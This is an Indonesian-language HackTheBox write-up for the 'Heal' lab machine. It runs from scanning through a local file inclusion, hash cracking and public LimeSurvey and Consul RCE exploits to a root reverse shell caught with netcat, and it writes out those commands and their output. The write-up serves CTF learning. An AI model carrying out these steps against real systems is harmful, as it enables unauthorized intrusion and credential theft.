Published on

HACKTHEBOX - Heal WriteUp

Authors
  • avatar
    Name
    Alvin Dhiyaul H
    Twitter
image

Reconnaissance

Melakukan Reconnaissance pada server target menggunakan Nmap.

# Nmap 7.95 scan initiated Sun Dec 15 19:25:42 2024 as: nmap -sC -sV -o nmap 10.10.11.46
Nmap scan report for 10.10.11.46
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 15 19:26:07 2024 -- 1 IP address (1 host up) scanned in 25.48 seconds

Dari hasil port scanning kita mendapat sebuah informasi bahwasanya terdapat sebuah service web yang berjalan di port 80, dan dengan hostname heal.htb, kemudian kita tambahkan hostname tersebut pada file konfigurasi /etc/hosts.

sudo echo "10.10.11.46 heal.htb" | sudo tee -a /etc/hosts

Kemudian setelah mengetahui domain pada server, kita dapat mencoba melakukan enumerasi pada subdomain yang ada di server, kita dapat menggunakan tools Ffuf untuk melakukan enumerasi pada subdomain.

alvin@0xOff ~ % ffuf -u http://heal.htb -H "Host: FUZZ.heal.htb" -w /Users/alvin/Documents/TOOLS/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -fs 178

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://heal.htb
 :: Wordlist         : FUZZ: /Users/alvin/Documents/TOOLS/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.heal.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

api                     [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 37ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1250 req/sec :: Duration: [0:01:39] :: Errors: 0 ::

Dari hasil enumersi subdomain diatas kita berhasil menemukan sebuah subdomain baru yaitu api.heal.htb.

Exploration and Exploitation

Pada saat kita mencoba mengakses domain utama yaitu heal.htb, terdapat sebuah login page & fitur register.

image

Dan pada saat saya mencoba mengakses subdomain API yaitu api.heal.htb terdapat sebuah Ruby on Rails.

image

Kemudian saya mencoba untuk register lalu login pada web utama yaitu heal.htb, dan ketika sudah berhasil login, terdapat sebuah Resume Builder, yang dimana kita dapat membuat sebuah Resume/CV yang kemudian dapat di export ke file pdf. Setelah menguji semua fitur yang ada pada dashboard tersebut ada hal yang menarik diataranya adalah:

  • Fitur Survey yang diarahkan pada sebuah subdomain lain yaitu 'take-survey.heal.htb'.
  • Fitur Export as PDF yang terdapat sebuah parameter 'filename=' sehingga dapat dimanfaatkan untuk exploitasi sebuah kerentanan Local File Inclusion (LFI).

Kemudian saya mencoba untuk melakukan Directory Fuzzing pada subdomain take-survey.heal.htb untuk mencari informasi mengenai endpoint yang tersedia.

image Dari hasil Directory Fuzzing diatas kita menemukan sebuah endpoint Admin login page yaitu http://take-survey.heal.htb/index.php/admin/authentication/sa/login

Exploitation

Pada pengujian pertama saya mencoba untuk melakukan pengujian pada fitur EXPORT AS PDF , dengan cara meng-Intercept Requests pada fitur Export as PDF. image

Pada saat intercept request terlihat sebuah parameter filename= yang berfungsi untuk mengambil/mendownload sebuah file pdf / file resume yang kita export sebelumnya.

Kemudian kita dapat memanfaatkan/mengeksploitasi fitur tersebut untuk mengambil/melihat sebuah file sensitif pada server.

Dan kita berhasil mendapat sebuah Informasi pada file /config/database.yml yang dimana file tersebut berisi tentang konfigurasi database pada server. image

Dari informasi yang terdapat pada file konfigurasi database diatas terlihat sebuah informasi bahwasanya terdapat file database production yaitu sqlite pada server yang terletak pada storage/development.sqlite3.

Setelah berhasil mendowload file database development.sqlite3 saya menemukan sebuah hash credential password dari admin yaitu raplh@heal.htb.

image

Kemudian kita dapat mencoba untuk melakukan Cracking hash password dari raplh (Administrator), kita dapat menggunakan Hashcat.

hashcat -m 3200 -a 0 hash.txt /wordlist/rockyou.txt

Dan setelah berhasil mendapatkan credential dari raplh (administrator) kita dapat menggunakanya untuk login sebagai admin pada login page admin yang sebelumnya sudah berhasil kita temukan.

image

Kemudian kita dapat melihat bahwasanya Lime Survey memiliki versi 6.6.4 yang dimana memiliki sebuah kerentanan dengan Id CVE-2021-44967 dengan impact Remote Code Excecution (RCE). Sehingga kita dapat menggunakan Limesurvey exploit script yang ada di github.

Initial Access

Setelah berhasil melakukan Remote Code Excecution kita berhasil mendapat Initial Access terhadap server, kita mendapat Reverse Shell Sebagai www-data.

image

Kemudian saya berhasil mendapatkan sebuah credential pada limesurvey/application/config/config.php sehingga dapat kita manfaatkan untuk mengakses SSH pada port 22 yang ad di server.

Dan perlu di ingat sebelumnya kita mempunyai access kerentanan Local File Inclusion, sehingga kita dapat mengetahui user apa saja yang ada pada server.

Foothold

Dan kita berhasil mengakses server melalui SSH sebagai ron.

~$
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)
ron@heal:~$

Getting User Flag

Dan kita telah berhasil mendapatkan flag dari user.

~$
ron@heal:~$ whoami
ron
ron@heal:~$ ls
user.txt
ron@heal:~$ cat user.txt
54f01f4da7ab93e444731bf98bf702d8
ron@heal:~$

Privilege Escalation to Root Access

Setelah berhasil mendapatkan hak akses user, selanjutnya kita dapat melakukan enumerasi untuk mendapatkan access root pada server, saya akan menggunakan LinPEAS, dengan mengabil linpeas dari host local saya.

Kemudian setelah melakukan enumnerasi menggunakan LinPEAS, saya mendapat informasi bahwasanya terdapat banyak port yang terbuka dan hanya bisa diakses oleh local server.

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Dan kita perlu melakukan Port Forwarding supaya service pada semua port yang hanya dapat di akses dari localhost, saya menggunakan SSH untuk melakukan Port Forwarding.

~$
alvin@0xOff HACKTHEBOX % ssh -L 8600:127.0.0.1:8600 \
    -L 8503:127.0.0.1:8503 \
    -L 8500:127.0.0.1:8500 \
    -L 8302:127.0.0.1:8302 \
    -L 8300:127.0.0.1:8300 \
    -L 8301:127.0.0.1:8301 \
    -L 3000:127.0.0.1:3000 \
    -L 3001:127.0.0.1:3001 \
    -L 5432:127.0.0.1:5432 \
    -L 53:127.0.0.53:53 \
    ron@heal.htb

Dan pada saat mengakses port 8500 pada browser terdapat sebuah service Hashicorp Consul v1.0 yang di mana memiliki sebuah kerentanan Remote Code Excecution juga, sehingga kita dapat menggunakan exploitation script dari Exploit Database.

image

Kemudian kita dapat menjalankan exploit script dan melakukan listener pada port 4444 menggunakan Netcat.

Set listener netcat :

~$
alvin@0xOff Heal % nc -lvnp 4444

Run exploit script:

~$
alvin@0xOff Heal % python3 51117.py 127.0.0.1 8500 10.10.14.147 4444 1

[+] Request sent successfully, check your listener

Checking Listener Getting Root Flag

~$
Last login: Thu Dec 19 08:45:15 on ttys009
alvin@0xOff Heal % nc -lvnp 4444
Connection from 10.10.11.46:39938
bash: cannot set terminal process group (69501): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@heal:/# cat /root/root.txt
cat /root/root.txt
6340d29b*************6ae5a72
root@heal:/#